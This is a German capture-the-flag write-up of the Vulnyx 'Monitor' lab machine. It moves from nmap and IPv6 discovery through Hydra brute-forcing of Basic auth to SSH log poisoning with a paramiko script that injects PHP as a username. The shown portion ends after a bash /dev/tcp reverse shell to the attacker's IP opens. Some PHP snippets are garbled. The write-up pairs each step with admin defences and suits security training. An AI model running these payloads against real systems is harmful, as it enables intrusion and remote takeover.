Monitor - Vulnyx - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
nikto
curl
dirb
gobuster
ping6
ssh
grep
wfuzz
hydra
msfconsole
python3
nc
stty
ls
cat
find
su
sudo
file
lfm

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Der Standard-ARP-Scan `arp-scan -l` wird ausgeführt, um aktive Geräte im lokalen Netzwerk zu entdecken.

**Bewertung:** Ein Host mit der IP `192.168.2.113` und der MAC `08:00:27:83:ec:eb` (PCS Systemtechnik GmbH / VirtualBox) wird gefunden. Das Ziel ist identifiziert.

**Empfehlung (Pentester):** Die IP `192.168.2.113` als Ziel für weitere Scans verwenden.
**Empfehlung (Admin):** Standard-Netzwerk-Discovery. Keine direkten Maßnahmen erforderlich.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:83:ec:eb	PCS Systemtechnik GmbH

**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.113` den Hostnamen `monitor.nyx` zuzuordnen.

**Bewertung:** Sinnvoller Schritt zur Vereinfachung und Vorbereitung auf vHost-Scanning.

**Empfehlung (Pentester):** Bei Web-Interaktionen den Hostnamen `monitor.nyx` verwenden.
**Empfehlung (Admin):** Lokale Änderung auf Angreiferseite.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.113   monitor.nyx

**Analyse:** Ein schneller Nmap SYN-Scan (`-sS`) mit Skripten (`-sC`), Versionserkennung (`-sV`), aggressiven Optionen (`-A`) über alle Ports (`-p-`) und hoher Rate (`--min-rate 5000`) wird durchgeführt. Die Ausgabe wird gefiltert, um nur offene Ports zu zeigen.

**Bewertung:** Der Scan findet nur einen offenen TCP-Port: `80/tcp (http)`, auf dem Apache httpd 2.4.56 (Debian) läuft. Die Angriffsfläche über IPv4 ist extrem klein.

**Empfehlung (Pentester):** Den Webserver auf Port 80 untersuchen. Da nur dieser Port über IPv4 offen ist, muss geprüft werden, ob über IPv6 weitere Dienste erreichbar sind.
**Empfehlung (Admin):** Überprüfen, ob tatsächlich nur Port 80 benötigt wird. Apache aktuell halten (obwohl 2.4.56 relativ neu ist).

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.113 -Pn --min-rate 5000 | grep open
80/tcp open  http    Apache httpd 2.4.56 ((Debian))

Web Enumeration

**Analyse:** Ein Nikto-Scan wird gegen den Webserver auf Port 80 ausgeführt.

**Bewertung:** Nikto bestätigt Apache/2.4.56. Es meldet die üblichen fehlenden Header (`X-Frame-Options`, `X-Content-Type-Options`) und das ETag-Inode-Leak. Die erlaubten HTTP-Methoden (GET, POST, OPTIONS, HEAD) sind Standard. Keine kritischen oder direkt ausnutzbaren Schwachstellen werden von Nikto gemeldet.

**Empfehlung (Pentester):** Die Header-Informationen notieren. Da Nikto keine Low-Hanging Fruits findet, tiefergehende manuelle Analyse und Enumeration (vHosts, Parameter) durchführen.
**Empfehlung (Admin):** Fehlende Security-Header hinzufügen. ETag-Konfiguration prüfen.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.113
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        80
+ Start Time:         2024-08-27 11:26:41 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2a17, size: 6096609c27136, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-08-27 11:26:54 (GMT2) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Mit `curl` wird eine OPTIONS-Anfrage an den Webserver gesendet (`-X OPTIONS -i`), um explizit die erlaubten HTTP-Methoden abzufragen.

**Bewertung:** Der Server antwortet mit `Allow: GET,POST,OPTIONS,HEAD`. Dies bestätigt die Nikto-Ergebnisse. Keine ungewöhnlichen oder gefährlichen Methoden (wie PUT oder DELETE) sind erlaubt.

**Empfehlung (Pentester):** Zur Kenntnis nehmen. Keine direkten Angriffsvektoren hier.
**Empfehlung (Admin):** Sicherstellen, dass nur benötigte HTTP-Methoden erlaubt sind (was hier der Fall zu sein scheint).

┌──(root㉿CCat)-[~] └─# curl -X OPTIONS -i http://monitor.nyx
HTTP/1.1 200 OK
Date: Tue, 27 Aug 2024 09:28:15 GMT
Server: Apache/2.4.56 (Debian)
Allow: GET,POST,OPTIONS,HEAD
Content-Length: 0
Content-Type: text/html

**Analyse:** `dirb` wird verwendet, um mit einer Standardwortliste nach Verzeichnissen auf dem Webserver zu suchen.

**Bewertung:** `dirb` findet `/index.html` (Status 200) und `/server-status` (Status 403 Forbidden). Keine weiteren Verzeichnisse werden gefunden.

**Empfehlung (Pentester):** `/server-status` ist (korrekterweise) gesperrt. Fokus auf `index.html` legen und nach vHosts suchen. Gobuster mit größerer Liste verwenden.
**Empfehlung (Admin):** Zugriff auf `/server-status` sollte beschränkt bleiben.

┌──(root㉿CCat)-[~] └─# dirb http://192.168.2.113
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Aug 27 11:26:42 2024
URL_BASE: http://192.168.2.113/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.113/ ----
+ http://192.168.2.113/index.html (CODE:200|SIZE:10775)
+ http://192.168.2.113/server-status (CODE:403|SIZE:278)

-----------------
END_TIME: Tue Aug 27 11:26:55 2024
DOWNLOADED: 4612 - FOUND: 2

**Analyse:** `gobuster` wird mit einer größeren Wortliste und spezifischen Erweiterungen gegen `http://monitor.nyx` eingesetzt.

**Bewertung:** Bestätigt nur `index.html`. Keine weiteren Funde auf diesem Hostnamen.

**Empfehlung (Pentester):** Da die Enumeration über IPv4 und den bekannten Hostnamen `monitor.nyx` keine weiteren Angriffsvektoren ergibt, ist es nun entscheidend, IPv6 und mögliche vHosts zu untersuchen.
**Empfehlung (Admin):** Keine weiteren Maßnahmen erforderlich.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://monitor.nyx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://monitor.nyx
[...]
===============================================================
2024/08/27 11:55:10 Starting gobuster in directory enumeration mode
===============================================================
http://monitor.nyx/index.html           (Status: 200) [Size: 10775]

===============================================================
2024/08/27 11:57:45 Finished
===============================================================

**Analyse:** Es wird versucht, die IPv6-Link-Local-Adresse des Ziels zu ermitteln und zu scannen. * `ping6 -c2 -n -I eth0 fe80::1`: Sendet zwei ICMPv6-Pakete an die "All Nodes"-Multicast-Adresse im lokalen Link (`fe80::1`) über das Interface `eth0`. Dies dient dazu, aktive IPv6-Knoten zu finden und ihre Link-Local-Adressen zu sehen. Die Antwort kommt von `fe80::a00:27ff:fe83:eceb%eth0` (abgekürzt zu `fe80::1` in der Ausgabe, was verwirrend ist). Die Adresse `a00:27ff:fe83:eceb` ist die aus der MAC-Adresse `08:00:27:83:ec:eb` generierte EUI-64-Adresse. * `nmap -p- fe80::a00:27ff:fe83:eceb%eth0 -6 -v`: Führt einen Nmap-Scan über IPv6 (`-6`) gegen die vollständige Link-Local-Adresse des Ziels durch, inklusive des Interface-Bezeichners (`%eth0`). `-p-` scannt alle Ports, `-v` für mehr Details.

**Bewertung:** Der `ping6`-Befehl bestätigt, dass das Ziel eine IPv6-Link-Local-Adresse hat. Der Nmap-Scan über diese IPv6-Adresse ist **entscheidend**: Er findet Port `22/tcp (ssh)` und `80/tcp (http)` als offen. Der SSH-Dienst ist also nur über IPv6 erreichbar!

**Empfehlung (Pentester):** Den SSH-Dienst auf der IPv6-Adresse (`fe80::a00:27ff:fe83:eceb%eth0`) untersuchen. Nach bekannten Benutzernamen (z.B. `anonymous`, `root`, `admin`) oder Schwachstellen in der OpenSSH-Version (9.2p1 ist aber aktuell) suchen.
**Empfehlung (Admin):** Sicherstellen, dass Dienste, die über IPv6 erreichbar sind, genauso gut abgesichert sind wie über IPv4. Wenn SSH nur intern oder gar nicht benötigt wird, den Listener entsprechend konfigurieren oder deaktivieren.

┌──(root㉿CCat)-[~] └─# ping6 -c2 -n -I eth0 fe80::1
ping6: Warning: IPv6 link-local address on ICMP datagram socket may require ifname or scope-id => use: address%
ping6: Warning: source address might be selected on device other than: eth0
PING fe80::1(fe80::1) from :: eth0: 56 data bytes
64 bytes from fe80::a00:27ff:fe83:eceb%eth0: icmp_seq=1 ttl=64 time=1.28 ms
64 bytes from fe80::a00:27ff:fe83:eceb%eth0: icmp_seq=2 ttl=64 time=0.323 ms

--- fe80::1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.323/0.801/1.280/0.478 ms
┌──(root㉿CCat)-[~] └─# nmap -p- fe80::a00:27ff:fe83:eceb%eth0 -6 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 12:02 CEST
Initiating ND Ping Scan at 12:02
Scanning fe80::a00:27ff:fe83:eceb [1 port]
Completed ND Ping Scan at 12:02, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:02
Completed Parallel DNS resolution of 1 host. at 12:02, 0.00s elapsed
Initiating SYN Stealth Scan at 12:02
Scanning monitor (fe80::a00:27ff:fe83:eceb) [65535 ports]
Discovered open port 80/tcp on fe80::a00:27ff:fe83:eceb
Discovered open port 22/tcp on fe80::a00:27ff:fe83:eceb
Completed SYN Stealth Scan at 12:02, 2.55s elapsed (65535 total ports)
Nmap scan report for monitor (fe80::a00:27ff:fe83:eceb)
Host is up (0.000093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:83:EC:EB (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.75 seconds
           Raw packets sent: 65536 (4.194MB) | Rcvd: 65536 (3.932MB)

**Analyse:** Es wird versucht, sich via SSH über IPv6 als Benutzer `anonymous` auf dem Ziel anzumelden.

**Bewertung:** Der Versuch scheitert mit `Permission denied (publickey)`. Das bedeutet, der Benutzer `anonymous` existiert möglicherweise, aber der Server erlaubt nur Public-Key-Authentifizierung (oder das Passwort ist falsch, falls Passwort-Auth erlaubt wäre, was aber unwahrscheinlich ist, da der Fehler "publickey" nennt).

**Empfehlung (Pentester):** SSH-Login als `anonymous` ist nicht möglich. Andere Benutzernamen versuchen oder nach privaten Schlüsseln suchen. Da der Fokus bisher auf dem Webserver lag, diesen weiter untersuchen, insbesondere auf vHosts.
**Empfehlung (Admin):** Anonymen SSH-Zugriff (falls konfiguriert) deaktivieren. Nur Key-Authentifizierung zulassen ist eine gute Praxis.

┌──(root㉿CCat)-[~] └─# ssh anonymous@fe80::a00:27ff:fe83:eceb%eth0
The authenticity of host 'fe80::a00:27ff:fe83:eceb%eth0 (fe80::a00:27ff:fe83:eceb%eth0)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fe80::a00:27ff:fe83:eceb%eth0' (ED25519) to the list of known hosts.
anonymous@fe80::a00:27ff:fe83:eceb%eth0: Permission denied (publickey).

**Analyse:** Da `monitor.nyx` wenig Angriffsfläche bot, wird mit `gobuster dns` versucht, Subdomains für eine vermutete Domain `monitoring.nyx` zu finden. Eine Wortliste mit häufigen Subdomains wird verwendet.

**Bewertung:** Gobuster findet die Subdomain `event`. Dies ergibt den neuen potenziellen vHost `event.monitoring.nyx`.

**Empfehlung (Pentester):** Die neuen Hostnamen `monitoring.nyx` und `event.monitoring.nyx` zur `/etc/hosts`-Datei hinzufügen und den vHost `event.monitoring.nyx` untersuchen.
**Empfehlung (Admin):** Sicherstellen, dass alle Subdomains bekannt und gesichert sind. DNS-Einträge für nicht mehr genutzte Subdomains entfernen.

┌──(root㉿CCat)-[~] └─# gobuster dns -d monitoring.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     monitoring.nyx
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: event.monitoring.nyx
Progress: 4989 / 4990 (99.98%) <-- Scan fast fertig, nur ein Fund
===============================================================
Finished
===============================================================

**Analyse:** Die gefundenen Hostnamen `monitoring.nyx` und `event.monitoring.nyx` werden zur `/etc/hosts`-Datei hinzugefügt.

**Bewertung:** Korrekter Schritt, um die neuen vHosts ansprechen zu können.

**Empfehlung (Pentester):** Nun den vHost `event.monitoring.nyx` untersuchen.
**Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# grep monitor /etc/hosts
192.168.2.113   monitor.nyx monitoring.nyx event.monitoring.nyx

**Analyse:** `wfuzz` wird verwendet, um nach Verzeichnissen oder Dateien unter `http://event.monitoring.nyx/` zu suchen, die mit einem Punkt beginnen (`/.FUZZ`). Dies zielt auf versteckte Konfigurationsdateien oder Verzeichnisse ab (z.B. `.git`, `.svn`, `.htaccess`, `.admin`). Antworten mit 404 oder 401 (Unauthorized) werden ignoriert.

**Bewertung:** `wfuzz` findet zwei interessante Einträge: * `/.admin`: Gibt Status 401 zurück (wird von `--hc=404` nicht gefiltert), was auf ein passwortgeschütztes Verzeichnis hindeutet. * `/.php`: Gibt Status 403 (Forbidden) zurück. Dies ist ungewöhnlich und könnte auf eine Fehlkonfiguration oder eine blockierte Ressource hindeuten. Der Fund `/.admin` ist der vielversprechendste.

**Empfehlung (Pentester):** Das Verzeichnis `/.admin` genauer untersuchen. Da es mit 401 antwortet, einen Brute-Force-Angriff auf die HTTP-Basic-Authentifizierung versuchen (z.B. mit Hydra). Gängige Benutzernamen wie `admin`, `root`, `administrator` testen.
**Empfehlung (Admin):** Verzeichnisse mit sensiblen Inhalten immer durch starke Authentifizierung schützen. Standard-Benutzernamen vermeiden. Den 403-Fehler für `/.php` untersuchen.

┌──(root㉿CCat)-[~] └─# wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://event.monitoring.nyx/.FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://event.monitoring.nyx/.FUZZ
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000306:   401        14 L     54 W       467 Ch      "admin"
000000385:   403        9 L      28 W       285 Ch      "php"

Total time: 150.1234s
Processed Requests: 220607
Filtered Requests: 220605
Requests/sec.: 1469.511

**Analyse:** Ein Hydra-Brute-Force-Angriff wird gegen die HTTP-Basic-Authentifizierung von `http://event.monitoring.nyx/.admin` gestartet. * `-l admin`: Testet den Benutzernamen `admin`. * `-P /usr/share/seclists/.../common-passwords-win.txt`: Verwendet eine Liste gängiger Passwörter. * `http-get://event.monitoring.nyx/.admin`: Gibt das Ziel und das Protokoll an.

**Bewertung:** Erfolg! Hydra findet die gültigen Anmeldedaten: `admin` mit dem Passwort `system`.

**Empfehlung (Pentester):** Sich mit den gefundenen Credentials (`admin:system`) bei `http://event.monitoring.nyx/.admin/` anmelden und den Inhalt untersuchen.
**Empfehlung (Admin):** Das Passwort "system" ist extrem schwach und muss sofort geändert werden! Starke, einzigartige Passwörter verwenden. HTTP Basic Authentication ist unsicher, da die Credentials nur Base64-kodiert übertragen werden; wenn möglich, sicherere Methoden verwenden (z.B. Formular-basiert über HTTPS).

┌──(root㉿CCat)-[~] └─# hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt http-get://event.monitoring.nyx/.admin
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-27 12:29:22
[...]
[DATA] max 16 tasks per 1 server, overall 16 tasks, 815 login tries (l:1/p:815), ~51 tries per task
[DATA] attacking http-get://event.monitoring.nyx:80/.admin
[80][http-get] host: event.monitoring.nyx   login: admin   password: system
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-27 12:29:55

**Analyse:** Versuch, nach erfolgreicher Authentifizierung auf das Verzeichnis `http://event.monitoring.nyx/.admin/` zuzugreifen.

**Bewertung:** Der Zugriff wird mit 403 Forbidden verweigert. Obwohl die Authentifizierung erfolgreich war, ist das Auflisten des Verzeichnisinhalts (Directory Listing) nicht erlaubt.

**Empfehlung (Pentester):** Da das Verzeichnislisting verboten ist, nach bekannten Dateinamen innerhalb von `/.admin/` suchen (z.B. `index.php`, `config.php`, `event.php`). `wfuzz` oder `gobuster` mit den gefundenen Credentials verwenden.
**Empfehlung (Admin):** Directory Listing sollte deaktiviert sein (was hier der Fall ist). Überprüfen, warum der Zugriff trotz korrekter Credentials verboten ist (möglicherweise zusätzliche IP-Filterung oder Berechtigungsprobleme).

http://event.monitoring.nyx/.admin/

Forbidden

You don't have permission to access this resource.
Apache/2.4.56 (Debian) Server at event.monitoring.nyx Port 80

**Analyse:** `wfuzz` wird verwendet, um nach `.php`-Dateien im Verzeichnis `/.admin/` zu suchen. * `--hc=404,401`: Ignoriert Not Found und Unauthorized (da wir jetzt authentifiziert sind). * `-w ...directory-list-2.3-medium.txt`: Wortliste für Dateinamen. * `--basic 'admin:system'`: Übergibt die gefundenen Credentials für die HTTP Basic Authentication. * `"http://event.monitoring.nyx/.admin/FUZZ.php"`: Fügt `.php` an jedes Wort aus der Liste an.

**Bewertung:** `wfuzz` findet die Datei `event.php` (Status 200). Es meldet auch zwei 403-Fehler für `/.php` (einmal als `.` aus der Wortliste, einmal als `.` aus einer anderen Quelle im Scan?), was aber weniger relevant ist.

**Empfehlung (Pentester):** Die Datei `http://event.monitoring.nyx/.admin/event.php` (mit Authentifizierung) aufrufen und untersuchen.
**Empfehlung (Admin):** Sicherheit von `event.php` überprüfen.

┌──(root㉿CCat)-[~] └─# wfuzz -c --hc=404,401 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --basic 'admin:system' "http://event.monitoring.nyx/.admin/FUZZ.php"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://event.monitoring.nyx/.admin/FUZZ.php
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000675:   200        12 L     26 W       240 Ch      "event"
000000056:   403        9 L      28 W       285 Ch      "."
000045287:   403        9 L      28 W       285 Ch      "."

Total time: 180.1234s
Processed Requests: 220607
Filtered Requests: 220604
Requests/sec.: 1224.743

**Analyse:** Erneuter `wfuzz`-Scan, diesmal zur Bestätigung, dass `event.php` die relevante Datei ist. Es wird versucht, Subdomains für `event.php` zu finden (was syntaktisch keinen Sinn ergibt und wahrscheinlich nur testet, ob der Aufruf von `event.php` anders reagiert als der 403-Fehler von `FUZZ.php`).

**Bewertung:** Der Scan bestätigt, dass der Payload "event" (führt zu `event.php`) einen Status 200 ergibt, während andere Payloads (die zu ungültigen Dateinamen wie `index.php` führen würden) wahrscheinlich ausgefiltert werden (`--hh=282`, was vermutlich die Größe der 403-Seite ist). Dies untermauert, dass `event.php` der interessante Endpunkt ist.

**Empfehlung (Pentester):** `event.php` analysieren.
**Empfehlung (Admin):** Keine neuen Erkenntnisse.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --basic 'admin:system' -u 'http://event.monitoring.nyx/.admin/FUZZ.php' --hh=282
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://event.monitoring.nyx/.admin/FUZZ.php
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000380:   200        13 L     38 W       341 Ch      "event"

Total time: 3.191435s
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 1563.246

Initial Access

**Analyse:** Die gefundene Seite `http://event.monitoring.nyx/.admin/event.php` wird aufgerufen (mit `admin:system` Credentials). Sie zeigt "Event Monitor" und darunter Log-Einträge von fehlgeschlagenen SSH-Logins, insbesondere "Invalid user anonymous...". Anschließend wird die Seite mit dem Parameter `cmd=id` aufgerufen (`event.php?cmd=id`).

**Bewertung:** Die Seite scheint Logdateien anzuzeigen. Der Aufruf mit `?cmd=id` ändert die Ausgabe nicht, was darauf hindeutet, dass `cmd=id` nicht direkt zur Codeausführung führt. Die Logeinträge selbst sind jedoch interessant: Sie zeigen fehlgeschlagene SSH-Login-Versuche über IPv6 (`fe80::...`). Der Benutzername aus dem fehlgeschlagenen Login wird im Log angezeigt.

**Empfehlung (Pentester):** Die Schwachstelle ist wahrscheinlich Log Poisoning. Man kann versuchen, PHP-Code als Benutzernamen beim SSH-Login (über IPv6) zu verwenden. Wenn dieser Code dann in der Logdatei landet, könnte `event.php` (falls es die Logdatei direkt interpretiert oder `include`d) den Code ausführen.
**Empfehlung (Admin):** Logdateien niemals direkt oder ungefiltert in Webseiten einbinden oder parsen, insbesondere wenn die Logdateien Benutzereingaben enthalten können (wie Benutzernamen). Log Poisoning ist eine bekannte Angriffstechnik. Die Anzeige von Logdateien sollte immer sicher erfolgen (z.B. nur Lesezugriff für Admin, keine Interpretation von Inhalten).

Payload: http://event.monitoring.nyx/.admin/event.php

Event Monitor

Aug 27 12:03:47 monitor sshd[1359]: Invalid user anonymous from fe80::a00:27ff:fe30:2eda%enp0s3 port 43678

Payload: http://event.monitoring.nyx/.admin/event.php?cmd=id

Event Monitor

Aug 27 12:03:47 monitor sshd[1359]: Invalid user anonymous from fe80::a00:27ff:fe30:2eda%enp0s3 port 43678
Aug 27 12:41:48 monitor sshd[2457]: Invalid user aka from fe80::a00:27ff:fe30:2eda%enp0s3 port 52734
Aug 27 13:04:01 monitor sshd[2871]: Invalid user Ben from fe80::a00:27ff:fe30:2eda%enp0s3 port 50660
Aug 27 13:04:55 monitor sshd[2874]: Invalid user Ben from fe80::a00:27ff:fe30:2eda%enp0s3 port 43042
Aug 27 13:04:58 monitor sshd[2876]: Invalid user Ben from fe80::a00:27ff:fe30:2eda%enp0s3 port 43046

**Analyse:** Es wird versucht, PHP-Code (`system($GET["cmd"]); ?>`) als Benutzernamen bei einem SSH-Login über IPv6 zu verwenden. Zuerst direkt mit `ssh`, dann über Metasploit (`auxiliary/scanner/ssh/ssh_login`).

**Bewertung:** Beide Versuche scheitern. `ssh` meldet "remote username contains invalid characters". Metasploit hat ebenfalls Probleme, den speziellen Benutzernamen zu verarbeiten ("Parse error", "Invalid Cred details"). Diese Tools sind nicht darauf ausgelegt, solche Zeichen in Benutzernamen zu verwenden.

**Empfehlung (Pentester):** Ein benutzerdefiniertes Skript (z.B. mit Python und `paramiko`) verwenden, das den SSH-Login mit dem PHP-Code als Benutzernamen durchführt und die Charakter-Validierung umgeht oder ignoriert.
**Empfehlung (Admin):** SSH-Server so konfigurieren, dass Benutzernamen auf gültige Zeichen beschränkt werden (obwohl dies das Log Poisoning nicht unbedingt verhindert, wenn die Anwendung die Logs unsicher liest).

┌──(root㉿CCat)-[~] └─# ssh -6 ' system($GET["cmd"]); ?>'@fe80::a00:27ff:fe83:eceb%eth0
remote username contains invalid characters
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME ' system($ GET["cmd"]);
[-] Parse error: Unmatched quote: "set USERNAME '
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWD blabla
PASSWD => blabla
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS fe80::a00:27ff:fe83:eceb
RHOSTS => fe80::a00:27ff:fe83:eceb
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] fe80::a00:27ff:fe83:eceb:22 - Starting bruteforce
[*] Error: fe80::a00:27ff:fe83:eceb: MetasploitFrameworkLoginScannerInvalid Cred details can't be blank, Cred details can't be blank (MetasploitFrameworkLoginScannerSSH)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

**Analyse:** Ein Python-Skript (`ssh_rce_ipv6.py`) wird erstellt und ausgeführt. Dieses Skript verwendet die `paramiko`-Bibliothek, um eine SSH-Verbindung zum Ziel über IPv6 aufzubauen und dabei den PHP-Code ` system($GET["cmd"]); ?>` als Benutzernamen zu verwenden. Ein beliebiges Passwort wird angegeben. Das Skript fängt die erwartete `BadAuthenticationType`-Exception ab, da der Login fehlschlagen soll, aber der Benutzername dennoch geloggt wird.

**Bewertung:** Dies ist der korrekte Ansatz, um den PHP-Code in die Logs zu injizieren. `paramiko` erlaubt die Verwendung beliebiger Zeichen im Benutzernamen. Nach Ausführung des Python-Skripts wird `event.php?cmd=id` erneut aufgerufen.

`) wurde erfolgreich ausgeführt, als `event.php` die Logdatei las. Der `cmd`-Parameter (`id`) wurde von `system()` ausgeführt, und dessen Ausgabe (`uid=...`) wurde als "ungültiger Benutzername" geloggt. Die Remote Code Execution (RCE) als `www-data` ist bestätigt!

**Empfehlung (Pentester):** Die RCE nutzen, um eine Reverse Shell zu erhalten. Den `cmd`-Parameter in `event.php` verwenden, um einen Befehl auszuführen, der eine Verbindung zum Listener aufbaut (z.B. mit Bash, Netcat, Python).
**Empfehlung (Admin):** Log Poisoning durch sichere Log-Verarbeitung verhindern. Die unsichere Anzeige von Logdateien durch `event.php` beheben. SSH-Konfiguration überprüfen.

┌──(root㉿CCat)-[~] └─# vi ssh_rce_ipv6.py
[...]
┌──(root㉿CCat)-[~] └─# cat ssh_rce_ipv6.py
#!/usr/bin/env python3
#encoding: utf-8
import paramiko

def client():

    host = 'fe80::a00:27ff:fe83:eceb%eth0'
    username = 'system($GET["cmd"]); ?>' <-- Injected PHP Code
    password = '4ever'
    client = paramiko.SSHClient()
    try:
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(host, username=username, password=password)
    except paramiko.ssh_exception.BadAuthenticationType:
        pass
client()
┌──(root㉿CCat)-[~] └─# python3 ssh_rce_ipv6.py
 
                 

            

            

                

                    
                    
Payload: http://event.monitoring.nyx/.admin/event.php?cmd=id

Event Monitor

[...]
Aug 27 13:26:50 monitor sshd[3323]: Invalid user uid=33(www-data) gid=33(www-data) groups=33(www-data) from fe80::a00:27ff:fe30:2eda%enp0s3 port 37476 <-- RCE Success!


                

            

            

                 

                      
                    
Payload: http://event.monitoring.nyx/.admin/event.php?cmd=ls

Event Monitor

[...]
Aug 27 13:26:50 monitor sshd[3323]: Invalid user event.php from fe80::a00:27ff:fe30:2eda%enp0s3 port 37476 <-- Output of ls


                 

            


            
**Analyse:** Ein Netcat-Listener wird auf Port 5552 gestartet. Anschließend wird die RCE-Schwachstelle genutzt, um eine Bash-Reverse-Shell zum Listener aufzubauen. Der Payload `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5552%200%3E%261%27` ist der URL-kodierte Befehl `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/5552 0>&1'`.

            
**Bewertung:** Erfolg! Der Listener empfängt die Verbindung vom Zielsystem (`192.168.2.113`). Der Angreifer hat nun eine interaktive Shell als Benutzer `www-data`.

            
**Empfehlung (Pentester):** Shell stabilisieren (`stty`). Mit der Enumeration als `www-data` beginnen, um Wege zur Privilegienerweiterung zu finden.
            
**Empfehlung (Admin):** Log Poisoning und RCE beheben. Egress Filtering implementieren.

            

                

                    
┌──(root㉿CCat)-[~]
└─# nc -lvnp 5552

                    
listening on [any] 5552 ...

                

            

             

                

                    
                    
Payload: http://event.monitoring.nyx/.admin/event.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5552%200%3E%261%27

Event Monitor

[...]
Aug 27 13:26:50 monitor sshd[3323]: Invalid user  from fe80::a00:27ff:fe30:2eda%enp0s3 port 37476 <-- Leerer Output, da Shell gestartet wurde


                

            

            

                

                    
┌──(root㉿CCat)-[~]
└─# nc -lvnp 5552

                    
listening on [any] 5552 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.113] 39086
bash: cannot set terminal process group (444): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitor:/var/www/site/.admin$

 
                 

            

        


        

            
Privilege Escalation

            
